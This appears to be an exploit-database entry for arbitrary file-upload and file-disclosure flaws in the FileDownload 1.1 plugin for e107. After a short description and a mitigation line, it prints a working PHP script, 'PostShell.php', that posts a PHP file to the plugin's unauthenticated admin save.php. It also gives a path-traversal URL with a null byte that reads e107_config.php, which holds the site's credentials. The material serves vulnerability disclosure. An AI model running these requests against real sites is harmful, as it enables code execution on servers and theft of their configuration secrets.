FileDownload Plugin for e107 Arbitrary File Upload and Remote File Disclosure Vulnerabilities

vendor:

FileDownload Plugin

by:

SecurityFocus

7,5

CVSS

HIGH

Arbitrary File Upload and Remote File Disclosure

434

CWE

Product Name: FileDownload Plugin

Affected Version From: FileDownload 1.1

Affected Version To: FileDownload 1.1

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

FileDownload Plugin for e107 Arbitrary File Upload and Remote File Disclosure Vulnerabilities

The FileDownload Plugin for e107 is prone to an arbitrary file-upload vulnerability and a remote file-disclosure vulnerability because the application fails to adequately sanitize user-supplied input. An attacker can exploit these issues to upload a file and view local files in the context of the web server process, which may aid in further attacks.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/54098/info

The FileDownload Plugin for e107 is prone to an arbitrary file-upload vulnerability and a remote file-disclosure vulnerability because the application fails to adequately sanitize user-supplied input.

An attacker can exploit these issues to upload a file and view local files in the context of the web server process, which may aid in further attacks.

FileDownload 1.1 is vulnerable; other versions may also be affected. 

PostShell.php
<?php

$ch = curl_init("http://www.example.com/e107/e107_plugins/filedownload/filedownload/file_info/admin/save.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS,
               array('filename'=>'lo.php',
          'accesses'=>'<?php phpinfo(); ?>'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
   
print "$postResult";

?>

http://www.example.com/e107/e107_plugins/filedownload/filedownload/file_info/admin/edit.php?file=../../../../../e107_config.php%00